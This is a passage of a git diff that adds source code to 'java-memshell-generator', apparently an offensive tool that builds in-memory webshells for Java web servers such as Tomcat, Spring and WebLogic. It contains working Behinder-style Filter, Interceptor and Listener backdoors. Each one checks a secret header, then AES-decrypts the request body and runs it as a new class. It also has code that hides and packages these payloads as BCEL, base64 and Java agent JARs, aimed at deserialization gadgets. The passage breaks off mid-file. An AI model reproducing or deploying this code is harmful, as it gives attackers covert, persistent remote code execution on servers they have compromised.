b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java new file mode 100644 index 0000000..ea8ebb4 --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java @@ -0,0 +1,41 @@ +package jmg.antsword.util; + +import jmg.antsword.memshell.AntSwordFilter; +import jmg.antsword.memshell.AntSwordListener; +import jmg.core.config.Constants; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName()); + SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName()); + Map antSwordMap = new HashMap(); + antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName()); + antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName()); + toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap); + } + + +} diff --git a/jmg-behinder/pom.xml b/jmg-behinder/pom.xml new file mode 100644 index 0000000..481a09a --- /dev/null +++ b/jmg-behinder/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-behinder + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java new file mode 100644 index 0000000..9537578 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java @@ -0,0 +1,56 @@ +package jmg.behinder.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; +import jmg.behinder.util.ShellUtil; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; + +public class BehinderGenerator implements IShellGenerator { + + @Override + public void initShell(AbstractConfig config) { + if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(BehinderGenerator.class)); + CtClass ctClass = pool.getCtClass(className); + ctClass.getClassFile().setVersionToJava5(); + JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16)); + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java new file mode 100755 index 0000000..c41c4c5 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java @@ -0,0 +1,70 @@ +package jmg.behinder.memshell; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + + +public class BehinderFilter extends ClassLoader implements Filter { + public String pass; + public String headerName; + public String headerValue; + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderFilter() { + } + + public BehinderFilter(ClassLoader c) { + super(c); + } + + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = ((HttpServletRequest) servletRequest).getSession(); + Map obj = new HashMap(); + obj.put("request", servletRequest); + obj.put("response", response); + obj.put("session", session); + + session.putValue("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj); + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + public byte[] doBase64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } +} \ No newline at end of file diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java new file mode 100644 index 0000000..1ff7f0f --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java @@ -0,0 +1,78 @@ +package jmg.behinder.memshell; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + + + public String pass; + + public String headerName; + + public String headerValue; + + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + + public BehinderInterceptor(ClassLoader c) { + super(c); + } + + + public BehinderInterceptor() { + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + HttpSession session = request.getSession(); + Map obj = new HashMap(); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + session.putValue("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj); + } catch (Exception e) { + } + return false; + } else { + return true; + } + } + + public static byte[] b64Decode(String bs) throws Exception { + byte[] value = null; + + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); + } catch (Exception var5) { + } + } + + return value; + } +} + diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java new file mode 100644 index 0000000..3a43c0f --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java @@ -0,0 +1,97 @@ +package jmg.behinder.memshell; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass; + + public String headerName; + + public String headerValue; + + + public BehinderListener() { + } + + public BehinderListener(ClassLoader c) { + super(c); + } + + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + Map obj = new HashMap(); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); + } catch (Exception var7) { + } + } + } catch (Exception e) { + + } + + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } +} diff --git a/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java new file mode 100644 index 0000000..dd5dab2 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java @@ -0,0 +1,46 @@ +package jmg.behinder.util; + +import jmg.behinder.memshell.BehinderFilter; +import jmg.behinder.memshell.BehinderInterceptor; +import jmg.behinder.memshell.BehinderListener; +import jmg.core.config.Constants; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName()); + SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName()); + SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName()); + + Map behinderMap = new HashMap(); + behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName()); + behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName()); + behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName()); + toolMap.put(Constants.TOOL_BEHINDER, behinderMap); + + } + + +} diff --git a/jmg-core/pom.xml b/jmg-core/pom.xml new file mode 100644 index 0000000..18a2b9f --- /dev/null +++ b/jmg-core/pom.xml @@ -0,0 +1,26 @@ + + + java-memshell-generator + jmg + ${revision} + + 4.0.0 + jmg-core + + + + + org.springframework + spring-web + 5.3.29 + + + + org.springframework + spring-webflux + 5.3.29 + + + + diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java new file mode 100644 index 0000000..9bf7f18 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java @@ -0,0 +1,307 @@ +package jmg.core.config; + +import java.util.HashMap; +import java.util.Map; + +public class AbstractConfig { + + + private String injectorClassName; + + public String getInjectorClassName() { + return injectorClassName; + } + + public void setInjectorClassName(String injectorClassName) { + this.injectorClassName = injectorClassName; + } + + + private boolean implementsASTTransformationType = false; + + private boolean implementsScriptEngineFactory = false; + + public void setImplementsASTTransformationType(boolean implementsASTTransformationType) { + this.implementsASTTransformationType = implementsASTTransformationType; + } + + public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) { + this.implementsScriptEngineFactory = implementsScriptEngineFactory; + } + + public boolean isImplementsASTTransformationType() { + return implementsASTTransformationType; + } + + public boolean isImplementsScriptEngineFactory() { + return implementsScriptEngineFactory; + } + + + private String injectorSimpleClassName; + + public String getInjectorSimpleClassName() { + return injectorSimpleClassName; + } + + public void setInjectorSimpleClassName(String injectorSimpleClassName) { + this.injectorSimpleClassName = injectorSimpleClassName; + } + + + private byte[] injectorBytes; + + public byte[] getInjectorBytes() { + return injectorBytes; + } + + public void setInjectorBytes(byte[] injectorBytes) { + this.injectorBytes = injectorBytes; + } + + + private int injectorBytesLength; + + public int getInjectorBytesLength() { + return injectorBytesLength; + } + + public void setInjectorBytesLength(int injectorBytesLength) { + this.injectorBytesLength = injectorBytesLength; + } + + + + private String shellClassName; + + public String getShellClassName() { + return shellClassName; + } + + public void setShellClassName(String className) { + this.shellClassName = className; + } + + + + private String shellSimpleClassName; + + public String getShellSimpleClassName() { + return shellSimpleClassName; + } + + public void setShellSimpleClassName(String shellSimpleClassName) { + this.shellSimpleClassName = shellSimpleClassName; + } + + private byte[] shellBytes; + + public byte[] getShellBytes() { + return shellBytes; + } + + public void setShellBytes(byte[] shellBytes) { + this.shellBytes = shellBytes; + } + + + private int shellBytesLength; + + + + public int getShellBytesLength() { + return shellBytesLength; + } + + public void setShellBytesLength(int shellBytesLength) { + this.shellBytesLength = shellBytesLength; + } + + + public String getShellGzipBase64String() { + return shellGzipBase64String; + } + + public void setShellGzipBase64String(String shellGzipBase64String) { + this.shellGzipBase64String = shellGzipBase64String; + } + + public String shellGzipBase64String; + + + public boolean isEnableDebug() { + return enableDebug; + } + + public void setEnableDebug(boolean enableDebug) { + this.enableDebug = enableDebug; + } + + private boolean enableDebug = false; + + + + + private String urlPattern; + + private String outputFormat; + private String savePath; + private String pass; + private String key; + private String serverType; + private String shellType; + + private String headerName; + private String headerValue; + + + private String methodBody; + + + private String gadgetType; + + + public String getUrlPattern() { + return urlPattern; + } + + public void setUrlPattern(String urlPattern) { + this.urlPattern = urlPattern; + } + + public String getOutputFormat() { + return outputFormat; + } + + public void setOutputFormat(String outputFormat) { + this.outputFormat = outputFormat; + } + + public String getSavePath() { + return savePath; + } + + public void setSavePath(String savePath) { + this.savePath = savePath; + } + + public String getPass() { + return pass; + } + + public void setPass(String pass) { + this.pass = pass; + } + + public String getKey() { + return key; + } + + public void setKey(String key) { + this.key = key; + } + + public String getServerType() { + return serverType; + } + + public void setServerType(String serverType) { + this.serverType = serverType; + } + + public String getShellType() { + return shellType; + } + + public void setShellType(String shellType) { + this.shellType = shellType; + } + + public String getToolType() { + return toolType; + } + + public void setToolType(String toolType) { + this.toolType = toolType; + } + + public String toolType; + + + public String getHeaderName() { + return headerName; + } + + public void setHeaderName(String headerName) { + this.headerName = headerName; + } + + public String getHeaderValue() { + return headerValue; + } + + public void setHeaderValue(String headerValue) { + this.headerValue = headerValue; + } + + + + public String getGadgetType() { + return gadgetType; + } + + public void setGadgetType(String gadgetType) { + this.gadgetType = gadgetType; + } + + + public Map getMessage() { + return result; + } + + public void setMessage(Map message) { + this.result = message; + } + + private Map result = new HashMap(); + + + public String getExprEncoder() { + return exprEncoder; + } + + public void setExprEncoder(String exprEncoder) { + this.exprEncoder = exprEncoder; + } + + private String exprEncoder; + + public String getExtenderSimpleClassName() { + return extenderSimpleClassName; + } + + + private String extenderSimpleClassName; + + public String getLoaderClassName() { + return loaderClassName; + } + + public void setLoaderClassName(String loaderClassName) { + this.loaderClassName = loaderClassName; + } + + public String loaderClassName; + + private String classFilePath; + + public String getClassFilePath() { + return classFilePath; + } + + public void setClassFilePath(String classFilePath) { + this.classFilePath = classFilePath; + } + + +} diff --git a/jmg-core/src/main/java/jmg/core/config/Constants.java b/jmg-core/src/main/java/jmg/core/config/Constants.java new file mode 100644 index 0000000..b281dfc --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/config/Constants.java @@ -0,0 +1,64 @@ +package jmg.core.config; + +public class Constants { + + public static final String JMG_VERSION = "1.0.8"; + + public static final String JMG_NAME = "java-memshell-generator"; + public static final String JMG_DESCRIPTION = "Java 内存马生成器"; + + public static final String JMG_AUTHOR = "pen4uin"; + + public static final String SERVER_TOMCAT = "Tomcat"; + public static final String SERVER_SPRING_MVC = "SpringMVC"; + public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux"; + + public static final String SERVER_JETTY = "Jetty"; + public static final String SERVER_RESIN = "Resin"; + public static final String SERVER_WEBLOGIC = "Weblogic"; + public static final String SERVER_WEBSPHERE = "Websphere"; + public static final String SERVER_UNDERTOW = "Undertow"; + public static final String SERVER_GLASSFISH = "Glassfish"; + + public static final String SERVER_JBOSS = "JBoss"; + + + public static final String SHELL_LISTENER = "Listener"; + public static final String SHELL_FILTER = "Filter"; + public static final String SHELL_VALVE = "Valve"; + public static final String SHELL_INTERCEPTOR = "Interceptor"; + public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod"; + public static final String SHELL_WS_ENDPOINT = "WSEndpoint"; + public static final String FORMAT_CLASS = "CLASS"; + public static final String FORMAT_BCEL = "BCEL"; + public static final String FORMAT_JSP = "JSP"; + public static final String FORMAT_JAR = "JAR"; + public static final String FORMAT_JAR_AGENT = "JAR_AGENT"; + public static final String FORMAT_JS = "JS"; + public static final String FORMAT_BASE64 = "BASE64"; + public static final String FORMAT_BIGINTEGER = "BIGINTEGER"; + + + public static final String GADGET_FJ_GROOVY = "FastjsonGroovy"; + + public static final String GADGET_SNAKEYAML = "SnakeYaml"; + + public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet"; + public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet"; + + public static final String TOOL_ANTSWORD = "AntSword"; + public static final String TOOL_BEHINDER = "Behinder"; + public static final String TOOL_GODZILLA = "Godzilla"; + + public static final String TOOL_CUSTOM = "Custom"; + + public static final String TOOL_NEOREGEORG = "NeoreGeorg"; + public static final String TOOL_SUO5 = "Suo5"; + + public static final String EXPR_EL = "EL"; + public static final String EXPR_SPEL = "SpEL"; + public static final String EXPR_OGNL = "OGNL"; + public static final String EXPR_FREEMARKER = "FreeMarker"; + public static final String EXPR_VELOCITY = "Velocity"; + public static final String EXPR_JS = "ScriptEngineManager(JS)"; +} diff --git a/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java new file mode 100755 index 0000000..c8ac1d5 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java @@ -0,0 +1,15 @@ +package jmg.core.format; + + +import jmg.core.config.AbstractConfig; + +import java.io.IOException; +import java.util.Base64; + +public class BASE64Formater implements IFormater { + @Override + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + Base64.Encoder base64Encoder = Base64.getEncoder(); + return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/BCELFormater.java b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java new file mode 100755 index 0000000..757a343 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java @@ -0,0 +1,16 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; +import me.gv7.woodpecker.bcel.HackBCELs; + +import java.io.IOException; + +public class BCELFormater implements IFormater { + + + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + // 解决 BCEL 的classloader 的问题 + byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config); + return HackBCELs.encode(bcelClzBytes).getBytes(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoader.java b/jmg-core/src/main/java/jmg/core/format/BCELoader.java new file mode 100644 index 0000000..20b8b71 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BCELoader.java @@ -0,0 +1,53 @@ +package jmg.core.format; + +import java.lang.reflect.Method; + +public class BCELoader { + static { + new BCELoader(); + } + + private String getClassName() { + return ""; + } + + private String getBase64String() { + return ""; + } + + public BCELoader() { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + byte[] clazzBytes = decodeFromBase64(getBase64String()); + Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length); + clazz.newInstance(); + } catch (Exception ee) { + } + } + } + + public static byte[] decodeFromBase64(String input) { + byte[] var2 = null; + + Class var1; + try { + var1 = Class.forName("java.util.Base64"); + Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); + var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input)); + } catch (Exception var6) { + try { + var1 = Class.forName("sun.misc.BASE64Decoder"); + Object var4 = var1.newInstance(); + var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input)); + } catch (Exception var5) { + } + } + + return var2; + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java new file mode 100644 index 0000000..17ccf38 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java @@ -0,0 +1,77 @@ +package jmg.core.format; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import jmg.core.config.AbstractConfig; +import jmg.core.util.JavassistUtil; + +public class BCELoaderGenerator { + public static byte[] generatorBCELoaderClass(AbstractConfig config) { + try { + ClassPool pool = ClassPool.getDefault(); + ClassClassPath classPath = new ClassClassPath(BCELoader.class); + pool.insertClassPath(classPath); + CtClass ctClass = pool.getCtClass(BCELoader.class.getName()); + ctClass.setName(config.getLoaderClassName()); + ctClass.getClassFile().setVersionToJava5(); + CtMethod getClassName = ctClass.getDeclaredMethod("getClassName"); + getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName())); + CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); + String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), ""); + String[] parts = splitChunks(base64ClassString, 40000); + StringBuilder result = new StringBuilder(); + for (int i = 0; i < parts.length; i++) { + if (i > 0) result.append("+"); + result.append("new String(\"" + parts[i] + "\")"); + } + getBase64String.setBody(String.format("{return %s;}", result)); + ctClass.defrost(); + JavassistUtil.removeSourceFileAttribute(ctClass); + byte[] bytes = ctClass.toBytecode(); + ctClass.detach(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + private static String encodeToBase64(byte[] input) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input); + } catch (Exception var5) { + } + } + return value; + } + + private static String[] splitChunks(String source, int CHUNK_SIZE) { + String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; + char[] payload = source.toCharArray(); + int start = 0; + for (int i = 0; i < ret.length; i++) { + if (start + CHUNK_SIZE > payload.length) { + char[] b = new char[payload.length - start]; + System.arraycopy(payload, start, b, 0, payload.length - start); + ret[i] = new String(b); + } else { + char[] b = new char[CHUNK_SIZE]; + System.arraycopy(payload, start, b, 0, CHUNK_SIZE); + ret[i] = new String(b); + } + start += CHUNK_SIZE; + } + return ret; + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java new file mode 100755 index 0000000..8adf8ac --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java @@ -0,0 +1,14 @@ +package jmg.core.format; + + +import jmg.core.config.AbstractConfig; + +import java.io.IOException; +import java.math.BigInteger; + +public class BigIntegerFormater implements IFormater { + @Override + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + return new BigInteger(clazzbyte).toString(36).getBytes(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/IFormater.java b/jmg-core/src/main/java/jmg/core/format/IFormater.java new file mode 100755 index 0000000..bd96cf6 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/IFormater.java @@ -0,0 +1,10 @@ +package jmg.core.format; + + +import jmg.core.config.AbstractConfig; + +import java.io.IOException; + +public interface IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception; +} diff --git a/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java new file mode 100755 index 0000000..9c0b569 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java @@ -0,0 +1,98 @@ +package jmg.core.format; + +import javassist.ClassPool; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.template.SpringMVCAgentTransformer; +import jmg.core.template.TomcatAgentTransformer; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; + +import java.io.*; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Enumeration; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +public class JARAgentFormater implements IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception { + String className = TomcatAgentTransformer.class.getName(); + String simpleName = TomcatAgentTransformer.class.getSimpleName(); + if (config.getServerType().equals(Constants.SERVER_TOMCAT)){ + className = TomcatAgentTransformer.class.getName(); + simpleName = TomcatAgentTransformer.class.getSimpleName(); + } + if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){ + className = SpringMVCAgentTransformer.class.getName(); + simpleName = SpringMVCAgentTransformer.class.getSimpleName(); + } + String classFileName = simpleName.replace('.', '/') + ".class"; + ClassPool pool = ClassPool.getDefault(); +// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取 +// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile()); + + InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar"); + File jarFile = File.createTempFile("jmg-agent", ".jar"); + try (FileOutputStream out = new FileOutputStream(jarFile)) { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = jarStream.read(buffer)) != -1) { + out.write(buffer, 0, bytesRead); + } + } + + Manifest manifest = createManifest(simpleName); + File tempJarFile = File.createTempFile("tempJar", ".jar"); + + try (JarFile jar = new JarFile(jarFile); + JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) { + + copyJarEntries(jar, tempJar); + + addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte)); + } catch (Exception e) { + e.printStackTrace(); + } + + return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath())); + } + + private Manifest createManifest(String simpleName) { + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + manifest.getMainAttributes().putValue("Agent-Class", simpleName); + manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); + manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); + manifest.getMainAttributes().putValue("Main-Class", simpleName); + return manifest; + } + + private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException { + Enumeration 